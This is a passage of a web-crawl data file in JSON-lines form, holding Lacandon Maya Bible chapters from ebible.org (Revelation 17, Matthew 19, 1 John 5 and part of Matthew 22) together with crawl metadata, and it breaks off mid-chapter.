C'uj.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/lacNT\/2CO13.htm","date":"2022-06-29T13:01:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103639050.36\/warc\/CC-MAIN-20220629115352-20220629145352-00190.warc.gz","language":"lac","language_score":0.9999927282,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999927282333374}","num_words":577,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.288,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"17\nU yajirir tu cajar Babilonia\n1 Caj tarij tin wicnʌn turiri' u yʌjmasir u t'ʌn C'uj. Raji' turiri' ich a sietejo', a tu jochquintob u yajirir ich u chan ruchob soc u tar u muc'yaj a caj u tuchi'taj C'uj uch. Raji' caj u ya'araj ten:\n―U'yej ba' quin wac tech, Juan. A teno' ―quij―, bin in ca' camsech a ba' cu bin tar an ten bic a C'ujo' bin u ca' ts'ictar yejer u cajar a tu p'ʌtob u c'ujinticob C'uj quir u tus c'ujinticob u jer. A ra' cajaro', ti' yʌn tu yʌn cu man ya'ab yoc ya'arir.\n2 Mʌ' ja wirej, raji' caj u pʌy u berob u jer u yet cajarob a tu cu reyinticob rey, raji' ara'b u manob irbir xquic ten xib bayiri' xan, raji' ara'b u manob irbir xib ten xquic xan. Baxuc caj u toc araj a ray cajaro' soc u tucricob a mac a ti' yʌn ich yoc'ocab wa jach manan tsoy ca' u tus c'ujintob u tus c'ujob.\n3 Tu tin wʌyʌc'taj ich ca'anan uch, caj in wu'yaj an ten bic caj u pʌyen ich tʌcay ru'um. Raji' u Taj'or u Pixam C'uj caj u pʌyen a teno'. Caj in wiraj turiri' xquic. Ti' yʌn, curucbar ich yoc'or a bʌc'o', a jach caremo'. Raji' jach chʌc u pach. Toc ts'iba'an tu pach aro' u t'ʌn quir u pach'ic C'uj. A carem bʌc'o' yʌn siete u jo'r, yejer diez u bac tu jo'r xan.\n4 A ray xquico', u buquinmʌn u chʌc noc' yejer bara'an chʌc. Yʌn oro rʌc nich'a'an ich u noc', bayiri' xan, ti' nich'a'an u chan tunichir, a jach co'ojo'. Bayiri' xan, ti' nich'a'an ich u noc' a chan sʌc ujo', u c'aba' perla. Caj in wiraj u mʌchmʌn tu c'ʌb u ruch a beta'b u mascabir oro, ra' quir u tus ets'baro'onex tan u man tu c'asir.\n5 Caj in wiraj ba' ts'iba'an ich yoc'or u pam u c'aba' a xquico'. Raji' tu mucu ara'an u c'aba', tan ya'aric: \"Ra' u cajar Babilonia, a jach no'jo'. A xquico', a cu camsic mac ca' u p'ʌt u jach c'ujinticob C'uj. Ra' cu camsic mac ca' manac tu c'asirob.\"\n6 A ray xquico' irej wa cʌra'an. Rajij carchʌjij yejer u q'uiq'uer a mac a yacsmʌnob tu yorob ti' C'uj tu tu chucaj u pachob. Bayiri' xan, caj carchʌjij yejer u q'uiq'uer a mac a quinsa'b quire' tu yacsob tu yorob ti' u t'ʌn Jesús. Wa ber caj in wiraj a xquico', caj jaq'uij in wor.\n7 Caj c'ata'b ten yʌjmasir u t'ʌn C'uj:\n―Ba'wir cu jac'ʌr a wor? A teno', bin in ca' in wa'arej tech a ba' u tus ets'bar a xquico', yejer a bʌco', a jach caremo', a yʌn siete u jo'r yejer diez u bac u jo'r xan.\n8 A bʌc'o', a jach caremo' a ta wiraj sam, ra' tus ets'bar irej wa mac a yʌn u muc' uch, chen jamach bin u muc'. Raji' ca' bin tac tu q'uinin bin u ca' u wʌc'ʌs es u muc'. Rajen pʌcha'an u c'aba' a bʌco', a jach caremo'. Raji' u muc', tar u tar ich a quisino'. Ca' bin manac tu q'uinin, ti' cu wʌc'ʌs bin tu jor ich ru'um tu mʌ' xura'an u tamin, ti' cu bin ts'ocar. A mac a cʌja'an tu q'uinin a rayo', a robob a mʌ' ju yacsob tu yorob ti' u t'ʌn C'uj, a mʌ' ts'iba'an u c'aba' tu ju'unin quir u cuxtar munt q'uin, robob u toc er C'uj, ra' u q'uinino' tu yʌnxchun tu cotor ba'. Mʌ' ja wirej, robob a mac a mʌ' yerob C'uj, caj jaq'uij u yorob caj u yirob bic tabar a bʌc'o', a jach caremo' yʌn u muc' uch, caj u wʌc'ʌs tar u muc' a ju berer yʌnin a bʌc'o', a jach caremo' ―baxuc caj ara'b ten yʌjmasir u t'ʌn C'uj ten.\n9 A yʌjmasir u t'ʌn C'uj caj ya'araj:\n―Arej ti' a mac a jach t'ojo', ca' u najtej a je'ra'. U jo'r a bʌc'o', a jach caremo', a yʌn siete u jo'ro', ra' u tus ets'bar u tajir u jor u p'uc wits, a sietojo' tu cu cutar a xquico'.\n10 A ray siete u jor u p'uc witso', robob ra' u tus ets'bar u tajir a siete reyobo'. Yʌn cinco a caj ts'oc u reyinticob mac. Ti' yʌn turiri' a baje'rer tan u reyinticob mac. Ti' toy yʌn u jer rey je' u yocar u ca' reyintac ten mac, chen tabar u yocar ca' reyintac ten mac.\n11 A bʌc'o', a jach caremo', a cuxa'an ucho' chen baje'rer mʌna' chen raji' cu tus ets'bar u tajir u rey, a ochojo', chen raji' quet yejer a siete reyobo' cax rub tu pach a siete reyobo'. Raji' cu bin ch'esa'bir ten C'uj.\n12 'Ra' u bac u jo'r a diez ta wiraj ich a bʌc'o', a jach caremo' a chʌc u pacho'. A ray diez u bac u jo'r, robob cu tus ets'barob u tajir diez reyob a mʌ' toy ocacob ca' reyintacob mac, chen robob cu bin ts'abʌr u muc' ten a bʌc'o', a jach caremo', soc u yocar ca' reyintacob ten mac. Jari' tabar cu bin ocarob ca' reyintacob ten mac yejer a bʌc'o', a jach caremo'.\n13 Robob a reyobo', a diezo', p'eri' u tucurob quir u yamticob a bʌc'o', a jach caremo'. Rajen yejer u muc' tu cu reyinta'rob ten mac robob caj u chich yamtob a bʌc'o', a jach caremo'.\n14 A reyobo', caj bin u ba'te'tob u tʌmʌn yuc C'uj, chen mʌ' ju bin u c'uchur yorob ti', quir u ch'esicob a tʌmʌn yuco'. Mʌ' ja wirej, a Jaj Ts'uro' jach manan chichir u muc' ich yoc'ocab, cax ti' a reyobo', rajen robob bin u ca' u quibicob u t'ʌn Jaj Ts'ur. A mac a chuc u pachob ten a diez reyobo' quire' tu quibob u t'ʌn a Jaj Ts'urob. Robob payob u ber ten u Jaj Ts'urob. Mʌ' ja wirej, robob teta'b quir u manob u tsec'ticob u t'ʌn. Robob jach taj teta'b quire' mʌ' ju p'ʌtob u t'ʌn C'uj tan u yesicob ti' mac u yajob Jesús, cax chucob u pachob. ―baxuc caj ya'araj ten yʌjmasir u t'ʌn C'uj.\n15 Caj ya'araj ten yʌjmasir u t'ʌn C'uj, tan ya'aric:\n―Ber caj a wiraj a cajaro' a ti' yʌn tu yʌn jach ya'ab ya'arir sam, tu cura'an a xquico', a ray ya'ariro' cu tus ets'barob pim winic, chen robob tan u cʌjtarob ich ya'ab u cajarob, a tan u tsicbarob ich u jer ya'ab u t'ʌnob.\n16 A diez u baco' a ta wiraj tu jo'r a bʌc'o', a jach caremo', a chʌc u pacho', robob cu tus ets'barob a diez reyobo', a cu bin u p'actob u cajar, a ti' yʌn tu yʌn u yoc ya'arir ya'ab, tu curucbar a xquico'. Robob a reyob bin u ca' u ch'esob a ray cajaro', soc mʌna' ba' cu p'atʌr. Robob bin u ca' u rʌc tocob a ray u cajaro' quir u rubsic u muc' tu cu reyinta'r ten mac soc jach saj cajaro'.\n17 Mʌ' ja wirej, c'an ten C'uj a reyobo', soc u quibicob a ba' u c'at C'uj soc u ch'esicob a ray u cajaro'. Rajen peri'ob u tucurob quir u yamticob a bʌc'o' a jach caremo', quire' raji' u jach ts'urir a reyobo'. Baxuc cu cha'bʌr ti'ob ten C'uj hasta cu c'uchur tu q'uinin a C'ujo' bin u ca' u nup'sej a ba' tu toc araj uch.\n18 A xquico' a ta wiraj curic, raji' cu tus ets'bar u cajaro' ra' u jach no'jo', raji' cu reyinta'r ten tu cotor rey cax tu cu reyinta'rob ten mac.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/RV17.html","date":"2022-07-07T11:27:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104690785.95\/warc\/CC-MAIN-20220707093848-20220707123848-00629.warc.gz","language":"lac","language_score":1.0000040531,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000040531158447}","num_words":1247,"character_repetition_ratio":0.084,"word_repetition_ratio":0.002,"special_characters_ratio":0.308,"stopwords_ratio":0.492,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19\nJesús cu camsic mʌ' tsoy u p'ʌtic u rac'\n(Mr. 10.1‑12; Lc. 16.18)\n1 Caj ts'oc ya'aric Jesús bic tabar u jawsic u yet acsa'orir caj u p'ataj u ru'umin Galilea. Caj c'uchij tu ru'umin Judea caj ca' bin pʌchir ya'arir Jordán tu cu tar ic yum.\n2 Jach pim caj sayob tu pach Jesús caj bin pʌchir ya'arir Jordán caj jawsa'b u yajir.\n3 Caj tar c'atbir ti' Jesús ten jun yarob u winiquirob judío a fariseojo'. Caj u juts'ajob u bʌj ich Jesús quir u tumta'rob yor Jesús. Caj tus c'atob ti':\n―Tsoy wa ju p'ʌtic u rac' cax a ba' quiri'?\n4 Caj u nuncaj:\n―Mʌ' wa ja xacmʌnex tu ts'iba'an: \"A C'uje' tu yʌn betaj xib yejer xquic caj u betaj yoc'ocab?\"\n5 Bayiri' C'uj caj ya'araj xan: \"Rajen a xibo' yʌn u p'ʌtic u tet bayiri' u nʌ' soc u bin u ch'a'ej u rac'. Caj ts'oc u ch'ic u rac' ca'tur yejer u rac' irej wa tu junan.\"\n6 Caj ya'araj Jesús:\n―Rajen mʌ' biq'uin ca'tur a mac a tu ch'aj u rac' quire' a C'ujo' cu yiric turiri' yʌn. Quire' C'uj caj u toc much'quintaj xib, yejer u rac' ra' u q'uinin caj u ch'aj u rac'. Jeroj, turi' cu yiric C'uj rajen mʌ' tsoy u p'ʌtic u rac' xib.\n7 Caj ya'araj u winiquirob judío a fariseojo':\n―Biquinin caj ya'araj Moisés uch: \"Tsoy ca' a ts'ibtej u ju'unin quir a p'ʌtic a rac'?\"\n8 Jesús caj u nuncaj ti'ob:\n―Quire' chich u jo'r a rac'ob rajen ya'araj Moisés: \"Tsoy u ts'ibtic u ju'unin quir u p'ʌtic u rac'.\" Chen tu yʌnxchun tu cotor ba' mʌ' tsoy u p'ʌtic u rac' quire' baxuc u c'at C'uj.\n9 A teno' ―quij Jesús―. Quin wa'aric techex. Tsoy a p'ʌtiquex a rac' wa cu man. Barej wa mʌ' u man, mʌ' tsoy a p'ʌtiquex a rac'. Mʌ' tsoy u p'ʌtic u rac' ca' u raq'uinte u jer. Wa caj u raq'uintaj u jer cu man. Wa caj u raq'uintaj u jer a p'at ten xib cu man yejer.\n10 U camsʌwinicob Jesús caj ya'arob:\n―Wa ja xibe' cu chen p'ʌtic u rac' a cu man mʌ' ba' wir ca' ic ch'a'ic ic raq'uintej.\n11 Caj ya'araj Jesús:\n―Mʌ' tu cotor mʌ' c'ucha'an yor mʌ' u ch'ic u rac' quire' C'uj ts'a'b ti' u muc' soc mʌ' ju ch'ic u rac'. Jariri' mʌ' u ch'ic u rac' quire' C'uj cu ts'ic u muc' quir u quibej.\n12 Yʌn u jer xib mʌ' ju ch'ic u raq'uintej xquic quire' toc c'as caj rocha'b ten u nʌ' uch. U jer xib mʌ' ju ch'ic u rac' quire' caponta'b ten mac. Yʌn u jer xib mʌ' ju ch'ic u rac' soc u qui' beyaj ti' C'uj. A mac c'ucha'an yor mʌ' u c'at u ch'ic u rac', tsoy. A mac mʌ' c'ucha'an yor, tsoy u ch'ic u rac'. A mac mʌ' ju bin u ch'ic u rac' quire' u c'at u qui' beyaj yejer C'uj tsoy xan.\nCaj tar purbir ich Jesús a chichan\n(Mr. 10.13‑16; Lc. 18.15‑17)\n13 Yʌn mac caj tar purbir chichan ich Jesús quir u ts'anc'ʌbtic Jesús soc u yamta' ten C'uj. Ca' u t'ʌnej C'uj Jesús quir u yamta'r a chichano' Jesús. Raji'ob q'ueya'b ten u camsʌwinicob Jesús a mac tar u puricob a chichano'.\n14 Caj ya'araj Jesús:\n―Tsire'ej u tar purbir chichan. Mʌ' ja mʌquex u berob quir u tarob ten. Mʌ' ja wirej, a chichano' sep cu tar tu yʌnen. Wa mac u c'at yocar tu cu bin u reyintejob C'uj ca' u cʌnejob a chichano'.\n15 Caj u ta'rob ten Jesús a chichanobo' soc u yamta'r a chichanobo' ten C'uj. Caj wʌc'ʌs bin Jesús.\nMʌ' uch xuruc a jach neyʌn u taq'uin. Raji' cu tsicbar yejer Jesús\n(Mr. 10.17‑31; Lc. 18.18‑30)\n16 Caj bin ich Jesús a mʌ' uch xuruc xib, caj u c'ataj ti' Jesús:\n―Ba' quin yʌn u'yic in wʌjcamsayʌjirech quire' jach tsoyech. Ba' ca' in betej a jach tsoyo', soc in cuxtar munt q'uin?\n17 Caj u nuncaj Jesús:\n―Biquinin ca wa'aric jach tsoyiren? Chen C'uj a jach tsoyo', mʌna' u jer. Wa ja c'at u yacsiquech C'uj ca' a quibej u t'ʌn tu ts'iba'an.\n18 Caj u c'ataj xib a mʌ' uch xuruc. Caj ya'araj:\n―Tu yʌn? ―quij.\nCaj u nuncaj Jesús:\n―Mʌ' a yʌn quinsic mac. Mʌ' a yʌn man yejer a mʌ' a rac'. Mʌ' a wa'cric ba'. Mʌ' a tus pʌquic mac.\n19 Caj ya'araj Jesús ti':\n―Sʌjtej a tet, bayiri' sʌjtej a nʌ'. Yajquintej a wet cajar an ten bic a yajquintic a wʌc'ʌs bʌjiri'.\n20 Caj u nuncaj a mʌ' uch xuruc xib:\n―Aro' caj in toc rʌc quibaj, caj in toc quibaj tin chichanin. Yʌn wa ju jer wa jariri'o'?\n21 Caj ya'araj Jesús:\n―Wa ja c'at ca' u qui' acsech C'uj. Joq'uen, xen cʌnej a ba'tac. Caj ts'oc a canic a ba'tac, yʌn a taq'uin, ts'aj ti' a mac jach otsiro'. Soc a baywo' yʌn tech ich C'uj jach manan tsoyir, quire' caj a yamtaj a rac'ob. Pachir caj sayʌr tin pach quir a cʌnic in t'ʌn.\n22 Caj yuba a mʌ' uch xuruc xib. Caj ts'oc yubic a ba' ara'b ten Jesús ti' caj choquij yor quire' nejach yʌn u taq'uin. Caj wʌc'ʌs bin a xib mʌ' uch xuruc.\n23 Caj ya'araj ti'ob u camsʌwinicob, Jesús:\n―Taj quin wa'aric techex. Jach yaj yubic a neyʌn u taq'uin. Jach yaj yubic xan, quir u yocar tu cu bin u reyinticob C'uj, quire' u yaj u taq'uin.\n24 In wʌc'ʌs ca' aric techex ―quij Jesús―, je' wa ju c'uchur yor yocar yʌrʌc' tsimin ich u jor yit' puts'? Mʌ' u c'uchur yor, quire' chichin u jor yit' puts'. Je' wa ju c'uchur yor ocar ich ca'anan a mac neyʌn u jach taq'uin? Mʌ' ju yocar quire' u yaj u taq'uin. Jaj ix tʌcojo' je' yocar yʌrʌc' tsimin ich u jor yit' puts'. Chen a mac neyʌn u taq'uin mʌ' ju yocar tu cu bin u reyintejob C'uj quire' u yaj u taq'uin.\n25 Caj yubob u camsʌwinicob caj jaq'uij yorob. Caj u c'atajob ti' Jesús u wʌc'ʌs u bʌjirirob u camsʌwinicob Jesús:\n―A mac cu bin tacbir ten C'uj?\n26 Jesús caj u pʌctaj u camsʌwinicob caj ya'araj ti'ob:\n―A xibo' mʌ' c'ucha'an yor u taquic u bʌj. Chen C'uj c'ucha'an yor u taquic tu cotor quire' c'ucha'an yor ti' tu cotor ba'.\n27 Caj ya'araj Pedro:\n―Jach Ts'urir, biquinin a yʌn u taq'uin mʌ' tu rʌc p'ʌtaj u ba'tac mʌ' u sayʌr ta pach quir u cʌnic a t'ʌn? A tenobo', caj in rʌc p'atajob a ba' yʌn tenob caj sayenob ta pach quir in cʌnicob a t'ʌn. Ba' cu bin u ts'ic tenob C'uj quire' caj in toc rʌc p'ʌtob in ba'tacob?\n28 Jesús caj u nuncaj:\n―Jach taj, quinin wa'aric techex. Ra' u q'uinin ca' bin u betej u jer ric'ben te' ich yoc'ocab. Ra' u q'uinin xan quin bin in cutar tu cu bin u reyinticob C'uj. Ti' quin bin in cutar tu sasirir C'uj a teno' taren in yamtic mac tu cotor. Bayiri' techex, a bin a ts'urintiquex u winiquirob Israel. Ca' a ts'urintiquex a doce yo'nen u winiquirob Israel.\n29 A mac tu rʌc p'ʌtaj yatoch tu cotor. Cax u wʌc'ʌs u bʌjob. Cax u wʌc'ʌs tet, cax u nʌ', cax wa ju rac' cax wa ju parar cax wa ju ru'umin. Quire' cu tar tin pach quir u cʌnic in t'ʌn. Rajen cu p'ʌtic tu cotor soc u quibic in t'ʌn. A caj u rʌc p'ʌtaj aro', cu bin u c'ʌmej ti' C'uj a ba' jach tsoy baje'rer. Jach manan cu bin ts'abʌr ti'. Baxuc xan, ca' bin xuruc t'ʌn je' u ts'abʌr ti' quir u cuxtar munt q'uin.\n30 Caj ya'araj Jesús:\n―A mac caj u yʌn acsaj tu yor in t'ʌn cu qui' acsa'r ten C'uj. Bayiri' a mac pachir caj u yacsaj tu yor. Bayiri' xan cu bin qui' acsa'rbir ten C'uj. A C'ujo' mʌ' u coyen acsej a caj u yʌn acsaj tu yor. Quet ca' bin u rʌc acsejob a pachir caj u yacsajob tu yorob.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT19.html","date":"2022-06-30T06:52:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103669266.42\/warc\/CC-MAIN-20220630062154-20220630092154-00432.warc.gz","language":"lac","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000076293945312}","num_words":1311,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.31,"stopwords_ratio":0.503,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5\nA yacsmʌnob tu yorobe' c'ucha'an yorob u p'ʌticob c'as\n1 A mac cu yacsic tu yor ti' Jesús yer Cristo tuchi'ta'b ten C'uj. Rajen a caj u yacsob tu yorob ti' Jesús. Robob u parar C'uj mʌ' ja wirej, a cu yajquintic u Tet, baxuc cu yajquintic u pararob u Tet xan.\n2 Wa ber ca' bin ic yajquintex C'uj baxuc xan, a ba' u c'at C'uj quic betiquex ti'. Ij querex, tun, ic yajquintex ij quet acsʌ'orirex.\n3 A mac cu yajquintic C'ujo' ca' u quibej a ba' cu ya'ara' ti' u t'ʌn. U t'ʌn a cu quibico', c'ucha'an yor ti'ob.\n4 Mʌ' ja wirej, tu cotoro'onex u pararo'onex C'uj c'ucha'an ij corex ic p'ʌtiquex a c'aso' ich yoc'ocab. Tij cacsex tij corex rajen c'ucha'an ij corex ti'.\n5 Jari' a mac a cu yacsic tu yor ti' Jesús, quire' yer raji' u parar C'uj. Arayo' c'ucha'an yorob u p'ʌticob u c'asir ich yoc'ocab.\nRaji' u parar C'uj cu tsicbʌtic u Taj'or u Pixam C'uj\n6 Caj tarij ca'anan Jesús, caj acsa'b ja' tu jo'r ten Juan. Baxuc caj quimij ich cruz xan. Mʌ' chen tarij quir u yacsa' ja' tu jo'r. Tarij quir u quimin xan. Quire' taj caj ya'araj to'onex u Taj'or u Pixam C'uj. Quire' u bʌjiri' caj u ya'araj, rajen taj.\n7 Ti' yʌn mʌna' u nup'ob ich ca'anan, a cu ya'aric taj ti' Jesucristo, ra' u parar C'uj. A je'ra', ti' yʌn ic Tetex C'uj. A je'ra' ti' yʌn, Jesucristo. A je'ra' ti' yʌn, u Taj'or u Pixam C'uj. Cax mʌna' u nup' chen turiri' a cu tsicbar to'onexo' ti' Jesucristo, ra' u parar C'uj quij.\n8 Ti' yʌn mʌna' u nup'ob tera' ich yoc'ocab. A je'ra' a cu tsicbʌtic taj ti' Jesuso', u Taj'or u Pixam C'uj. A je'ra', tu acsa'b ja' tu jo'r. A je'ra', tu quimij ich cruz. A mʌna' u nup'ob p'eri'ob cu camsico'onex, raji' u parar C'uj Jesucristo.\n9 Caj ij c'ʌm u t'ʌn a maco', chen jach manan u t'ʌn a C'ujo'. Rajen ca' a c'amex a ba' cu ya'aric C'uj ti' u parar Jesucristo. Quire' taj cu ya'aric u t'ʌn.\n10 A mac a caj u yacsa tu yor ti' u parar C'uj u bʌjiri' yer yʌn u t'ʌn C'uj tu yor. A mac mʌ' ju yacsa tu yor ti' C'uj, tan yac ti' C'uj: \"Tus a ca'.\" Quire' mʌ' ju yacsa tu yor u t'ʌn a ba' caj u ya'araj C'uj ti' u Parar.\n11 A je'ra' caj u ts'a to'onex ij cuxtarex munt q'uin. Ti' yʌn ich u parar C'uj quir ij cuxtarex munt q'uin. Baxuc caj u ya'ara to'onex C'uj, a werex raji' taj.\n12 Wa mac mʌ' ju c'ʌm u parar C'uj mʌna' ti' u cuxtar. Chen a mac caj u c'ʌm u parar C'uj yʌn u cuxtar munt q'uin.\nTabar u ts'ocar u ts'ib Juan\n13 Rajen quin ts'ibtic techex soc a werex toc yʌn techex quir a cuxtarex munt q'uin, quire' ta wacsex ta worex ti' u parar C'uj.\n14 Rajen chich ij corex ic t'ʌniquex C'uj, quire' ij querex cu yubico'onex C'uj. Cu yubico'onex wa tsoy tu t'ʌn C'uj, rajen chich ij corex ic t'ʌniquex C'uj.\n15 Ij querex cu yubic wa ber ic t'ʌniquex. Mʌ' ja wirej, ij querex taj cu yubico'onex. Rajen je' u ts'ic to'onex a ba' quij c'atiquex ti' C'uj cax a ba' quij c'atiquex ti' C'uj.\n16 Wa yʌn mac caj u yira u yacsic u si'pir u yet acsʌ'orir, wa ra' u si'pir a mʌ' u chabʌr u jach quimin ten C'uj. Tsoy a t'ʌniquex C'uj ti', je' u jawsa'r u si'pir ten C'uj a ti'o'. Yʌn u si'pir mac a cu chabʌr u jach quimin ten C'uj, mʌ' tsoy a t'ʌniquex C'uj ti'i'.\n17 Tu cotor a c'aso' ra' u si'pir. Chen ti' yʌn a c'aso' ra' mʌ' ju chabʌr u jach quimin ten C'uj.\n18 A mac a caj u yacsaj tu yor mʌ' nani yacsic u si'piri' quire' u parar C'uj. Cu cʌnanta'r ten C'uj. Mʌ' ja wirej, u parar. Mʌ' ju tarʌr ten quisin, a mac a caj u yacsaj tu yor ti' C'uj.\n19 A mac mʌ' ju yacsaj tu yor ti' C'uj u ts'urir quisin. Chen a to'onexo' ij querex u pararo'onex C'uj.\n20 Rajen ij querex tar u parar C'uj uch. Caj tar u yamto'onex ca' ic najtex C'uj. Tarij ca' ij quirex a jach C'ujo'. Mʌ' ja wirej, p'eri' ij corex yejer jach C'uj. P'eri' ij corex yejer u parar Jesucristo xan. A je'ra' jach C'uj Jesucristo quir a cuxtarex munt q'uin.\n21 Qui' cʌnant a bʌjex in chan pararechex, soc mʌ' a c'ujintiquex tus c'uj. Jeroj ts'oquij, quij Juan.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/J15.html","date":"2022-07-03T09:39:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104215805.66\/warc\/CC-MAIN-20220703073750-20220703103750-00229.warc.gz","language":"lac","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.000008225440979}","num_words":753,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.313,"stopwords_ratio":0.489,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"22\nJesús cu camsic ti' a mac cu bin u ch'ic u rac'\n1 Jesús caj u yʌnxchun u wʌc'ʌs ca' camsic ti' a pimo'. Caj ya'araj ti'ob:\n2 ―Quin wa'aric techex bic cu bin u reyinticob C'uj ich ca'anan, irej rey a cu pʌyic u rac'ob quir u qui'qui' janʌnob. Quire' u parar rey cu bin u ch'ic u rac'.\n3 A reyo', caj u tuchi'taj u c'urew quir u pʌyicob a mac a caj u ya'araj ca' tacob, quire' c'uchij tu q'uinin. Robob mʌ' ju quibajob u tarob.\n4 Caj u wʌc'ʌs ca' tuchi'taj u jerob u c'urew: \"Arex ti'ob a mac caj in yʌn araj u tarob. Arex ti'ob tin toc rʌc quinsaj a wo'och bʌq'uex quir a qui' janʌnex. Jach paroc ca bin a jantex. Toc rʌc chʌca'an soc a jantiquex. Cojenex ta qui' janʌnex soc u ch'ic u rac' in parar.\"\n5 Mʌ' ju quibob caj bin pʌybir caj u p'astob yo'och. Caj bin turiri' tu cor. U jer caj bin tu cu conan ba'.\n6 U jerob caj u chucajob u c'urewob rey, caj u raxob caj u quinsajob u c'urew.\n7 Caj yuba ba' u ber u c'urew rey caj jach ts'iquij. Caj u tuchi'taj u soldadojob quir u quinsa'r yʌjquinsirob u c'urewob, ca' u rʌc to'cacob u cajarob.\n8 Caj ya'araj ti' u c'urewob, rey: \"Toc rʌc ts'aca'an yo'ochob quir u qui'qui' janʌnob quir u ch'ic u rac' in parar. Chen a mac caj in yʌn ch'ic pʌyaj mʌ' ju quibob u tarob jot, quij. Mʌ' tsoyob u tarobi'.\n9 Joq'uenex xenex pʌyex a tu cu naj much'quinticob u bʌj ich bej. Arex ti'ob. Cojenex ta qui'qui' janʌnex quire' ca' u ch'aj u rac' in parar. Arex ti' ca' rʌc tacob a much'a'an a ca wiriquexe'.\"\n10 U c'urewob caj binob ich u berir tu cu naj much'quinticob u bʌj winic. Caj u rʌc pʌyajob, cax tsoy caj u pʌyob, cax mʌ' tsoy caj u pʌyob xan. Tu pʌyob caj rʌc tarob, caj rʌc chup tu najir tu cu yocar.\n11 'Caj oc yiraj rey a mac caj u pʌyob u c'urewob. Caj yiraj xib ti' yʌn. Mʌ' tu qui' buquintaj u noc' quir yiric u ch'ic u rac' mac.\n12 Caj ya'araj rey: \"Biquinin caj oquech tera' quire' mʌ' ja buquintaj a noc' quir a wiric u ch'ic u rac' in parar?\" Caj rʌc ts'oc u t'ʌnob, quire' yubaj ya'ara' ten u rey.\n13 A reyo', caj ya'araj ti' u c'urewob a cu jansicob a pimo': \"Maquex yoc yejer u c'ʌb. Joc'sex, a purex tancab soc u yac'tic u bʌj. Quire' mʌ' ju buquintaj u noc'. Ti' cu bin u chi'ic u yac' quire' cu muc'yaj.\"\n14 Mʌ' ja wirej ―quij Jesús―, jach ya'ab mac caj payij ten C'uj soc u yocar u reyinticob C'uj. Chen mʌ' ya'ab cu bin tetbir ten C'uj quire' mʌ' ju quibob u t'ʌn.\nJesús cu camsic bic tabar u bo'otic u bo'orir u c'ʌb gobierno\n(Mr. 12.13‑17; Lc. 20.20‑26)\n15 U winiquirob judío a fariseojo' caj bin much'quinticob u bʌj quir yubicob bic tabar cu bin u chuquicob Jesús, quir u wayticob u t'ʌn Jesús, quir u ta'quicob u jo'r Jesús.\n16 Caj u tuchi'tajob u camsʌwinicob a fariseojo' ich Jesús, yet binac u camsʌwinicob Herodes. Caj c'uchob ich Jesús caj ya'arajob ti':\n―In wʌjcamsʌyʌjirech, in werob taj ca camsiquenob bic tabar in manob tu tsoyir baxuc u c'at C'uj.\nCaj ya'arajob ti' Jesús:\n―Cax mac cu c'uchur tu yʌnech mʌ' ja p'astej, quire' p'eri'o'on ca wirico'onex.\n17 Arej tenob wa tsoy ca' ic bo'otej u bo'orir ic ru'um ti' César u rey u winiquirob romano? Wa mʌ' tsoy ic bo'otic? Arej tenob ba' ca tucric a teche'?\n18 Jesús caj yubaj tarob quir u wayta'r u t'ʌn Jesús. Caj ara'b ti'ob ten Jesús:\n―Biquinin ca tarex a tumtic in worex yʌjtusarirechex ten.\n19 Joq'uenex ch'a tenex a taq'uinex tu ta bo'otajex a ru'umex soc in wiric ―quij Jesús.\nCaj binob u ch'ajob taq'uin.\n20 Caj ya'araj Jesús ti'ob:\n―Mac yochir a jo'ort'ʌn ich taq'uin?\n21 Caj u nuncajob:\n―Raji' yochir a jo'ort'ʌn César, u rey u winiquirob romano.\nJesús caj ya'araj:\n―Ca' a quibex u t'ʌn a cu ya'aric techex César. Bayiri' xan, ca' a quibex a ba' cu ya'aric techex C'uj.\n22 Caj yubob ya'aric Jesús a jera', caj jach jaq'uij yorob. Caj u p'ʌtob Jesús, caj binob ich u winiquirob judío a fariseojo'.\nCaj tarob u c'atob ich Jesús yubej wa cu riq'uir tu cu quimin\n(Mr. 12.18‑27; Lc. 20.27‑40)\n23 Ra'iri' u q'uinin caj c'uchij u winiquirob judío a saduceojo'. Ra' cu camsicob mac mʌ' u riq'uir ti' quimen. Caj c'uchob ich Jesús caj tarob c'atbir ti' Jesús ten u winiquirob judío a saduceojo'.\n24 Caj ya'arob ti' Jesús:\n―In wʌjcamsʌyʌjirechob, ic nunquir Moisés caj ya'araj uch. Wa xib cu quimin, mʌna' u parar yejer u rac'. U yits'in cu ca' wʌc'ʌs bin u ch'aj u mu'. Cu wʌc'ʌs ca' bin u ch'a'ic soc u pararancʌr yejer u mu' quir u c'ʌ'otic u ixba' sucu'un, a quimene'.\n25 Yʌn seis yits'in a yʌn quimen xib, caj quimij mʌna' u parar. U yits'in aro' caj u ca' ch'aj u mu'.\n26 Baxuc caj u ca' ch'aj u jer u mu', caj quimij mʌna' u parar xan. U 